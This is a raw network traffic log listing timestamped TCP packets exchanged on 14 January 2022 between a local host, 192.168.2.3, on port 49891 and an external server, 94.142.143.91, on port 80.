Jan 14, 2022 04:59:55.377667904 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.377710104 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.377724886 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.377748013 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.377775908 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.377788067 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.377827883 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.377885103 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.377903938 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.377945900 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.378004074 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.378051043 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.378093004 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.378106117 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.378149986 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.378170013 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.378187895 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.378226995 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.378240108 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.378267050 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.378303051 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.378340960 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.378365993 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.378379107 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.378407001 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.378418922 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.378458977 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.378496885 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.378536940 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.378551960 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.378575087 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.378612041 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.378634930 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.378652096 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.378690958 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.378730059 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.378742933 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.378770113 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.378781080 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.378808022 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.378845930 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.378884077 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.378902912 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.378920078 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.378952980 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.378957987 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.378998995 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.379036903 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.379054070 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.379076958 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.379095078 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.379116058 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.379154921 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.379193068 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.379211903 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.379229069 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.379251003 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.379266977 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.379303932 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.379343033 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.379381895 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.379398108 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.379417896 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.379549026 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.379589081 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.379626989 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.379647017 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.379663944 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.379702091 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.379740000 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.379775047 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.379791975 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.379812956 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.379849911 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.379888058 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.379928112 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.379955053 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.379965067 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.380002975 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.380039930 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.380075932 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.380101919 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.380116940 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.380155087 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.380192041 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.380229950 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.380254030 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.380266905 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.380306005 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.380342960 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.380378962 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.380397081 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.380418062 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.380455017 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.380492926 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.380531073 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.380552053 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.380568027 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.380605936 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.380644083 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.380702972 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.380764008 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.380804062 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.380841970 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.380877972 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.380896091 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.380916119 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.380929947 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.380954981 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.380994081 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.381012917 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.381032944 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.381071091 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.381108046 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.381146908 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.381169081 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.381181955 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.381220102 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.381257057 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.381292105 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.381308079 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.381330013 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.381366968 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.381403923 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.381442070 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.381460905 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.381479025 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.381516933 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.381553888 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.381588936 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.381607056 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.381627083 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.381664991 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.381704092 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.381741047 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.381759882 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.381778002 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.381815910 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.381872892 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.381911039 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.381926060 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.381947041 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.381987095 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.382024050 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.382082939 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.382373095 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.382411957 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.382450104 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.382473946 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.382488012 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.382493019 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.382527113 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.382535934 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.382566929 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.382581949 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.382616043 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.387114048 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.387152910 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.387181044 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.387207985 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.387234926 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.387254953 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.387283087 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.387309074 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.387331963 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.387336016 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.387362003 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.387362957 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.387370110 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.387376070 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.387379885 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.387389898 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.387397051 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.387417078 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.387419939 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.387443066 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.387449980 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.387469053 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.387470961 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.387494087 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.387500048 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.387526035 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.387541056 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.387552977 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.387579918 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.387579918 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.387608051 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.387620926 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.387634993 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.387639046 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.387659073 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.387661934 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.387685061 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.387705088 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.387732983 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.387758017 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.387782097 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.387784004 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.387808084 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.387811899 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.387831926 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.387839079 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.387850046 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.387866020 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.387892008 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.387892962 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.387914896 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.387921095 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.387937069 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.387950897 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.387976885 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.387979984 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.388001919 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.388005018 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.388027906 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.388031960 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.388045073 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.388056993 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.388082981 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.388104916 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.388109922 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.388124943 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.388137102 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.388155937 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.388164997 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.388180017 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.388911009 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.388941050 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.388971090 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.388972044 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.388998985 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.389003992 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.389025927 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.389038086 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.389050961 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.389053106 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.389069080 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.389101982 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.438461065 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.438520908 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.438559055 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.438597918 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.438638926 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.438663960 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.438679934 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.438697100 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.438703060 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.438709021 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.438720942 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.438725948 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.438761950 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.438800097 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.438838005 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.438839912 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.438857079 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.438878059 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.438890934 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.438918114 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.438957930 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.439002037 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.439028025 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.439039946 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.439040899 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.439080954 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.439095020 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.439120054 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.439158916 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.439177990 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.439197063 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.439213991 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.439237118 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.439279079 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.439294100 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.439320087 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.439359903 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.439399958 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.439436913 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.439436913 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.439450026 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.439477921 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.439486027 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.439517975 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.439557076 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.439570904 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.439598083 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.439609051 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.439636946 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.439676046 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.439716101 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.439739943 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.439764977 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.439770937 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.439804077 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.439835072 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.439872026 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.439889908 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.439904928 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.439915895 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.439929008 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.439954042 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.439977884 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.439996958 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.440005064 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.440037012 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.440051079 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.440073013 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.440085888 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.440112114 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.440119982 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.440150023 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.440187931 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.440202951 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.440228939 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.440244913 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.440267086 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.440306902 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.440345049 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.440362930 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.440380096 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.440393925 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.440419912 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.440459013 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.440498114 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.440514088 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.440536976 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.440542936 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.440574884 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.440613031 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.440628052 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.440649986 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.440664053 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.440687895 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.440726042 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.440740108 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.440762997 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.440768003 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.440803051 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.440843105 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.440879107 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.440896034 CET	49891	80	192.168.2.3	94.142.143.91
